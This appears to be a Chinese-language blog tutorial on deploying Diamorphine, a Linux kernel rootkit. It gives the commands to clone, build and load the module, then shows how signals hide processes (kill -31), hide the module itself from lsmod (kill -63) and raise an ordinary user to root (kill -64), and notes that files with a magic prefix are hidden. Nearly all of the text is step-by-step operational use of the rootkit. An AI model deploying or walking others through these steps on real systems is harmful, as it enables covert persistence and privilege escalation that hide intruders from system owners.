【进程隐藏】Linux隐藏工具—Diamorphine

零、Diamorphine 介绍

Diamorphine 是一个Linux内核模块, 支持内核版本 2.6.x/3.x/4.x。可通过 uname -r 查看内核版本。

1
2
3
4
5
当加载的时候, 模块是不可见的(lsmod 看不到);
通过发送31信号,可以达到隐藏和不隐藏进程的目的;
通过发送63信号,可以隐藏和不隐藏该内核模块;
通过发送64信号(给任何进程),可以将用户变成root;
如果文件或者目录以MAGIC_PREFIX开始,将会隐藏;

项目地址: https://github.com/m0nad/Diamorphine

一、部署环境

下载代码

1
git clone https://github.com/m0nad/Diamorphine

进入目录,开始编译

1
2
cd Diamorphine; 
make

加载内核模块

1
insmod diamorphine.ko

二、验证内核模块隐藏

枚举加载的内核模块并检查 Diamorphine 是否存在列表中。

Untitled1

上图内容如下所示:

1
2
3
步骤1:执行lsmod命令,diamorphine.ko模块并没有显示,因为模块被隐藏; 
步骤2:可以通过发送kill -63 信号来取消隐藏lsmod 列表中的Diamorphine 模块,语法为 kill -63 <any_random_pid>(再执行一遍则显示出来)
步骤3:执行kill -63 0命令后,lsmod 列表中的Diamorphine 模块又可以正常显示

三、隐藏用户任意进程

实验内容如图所示:

Untitled2

步骤1:通过运行 sleep 10000 秒来创建一个虚拟进程。

1
sleep 1000 &

步骤2:diamorphine可以通过发送kill -31 信号从ps 列表中隐藏/取消隐藏这个虚拟进程。

1
kill -31 <pid of process you want hide>

步骤3:使用ps命令查看sleep进程是否存在

1
ps -ef | grep sleep

四、普通用户提权至root

diamorphine可以向用户发送kill -64 信号,授予其root 权限。

1
2
3
kill -64 <any_random_pid>
比如
kill -64 0

student用户在发送信号后升级为 root 用户。

1
2
3
步骤1:切换到student,并whoami查看用户 
步骤2:kill -64 0执行此命令进行提权
步骤3:再次whoami查看用户

image-20240218140150262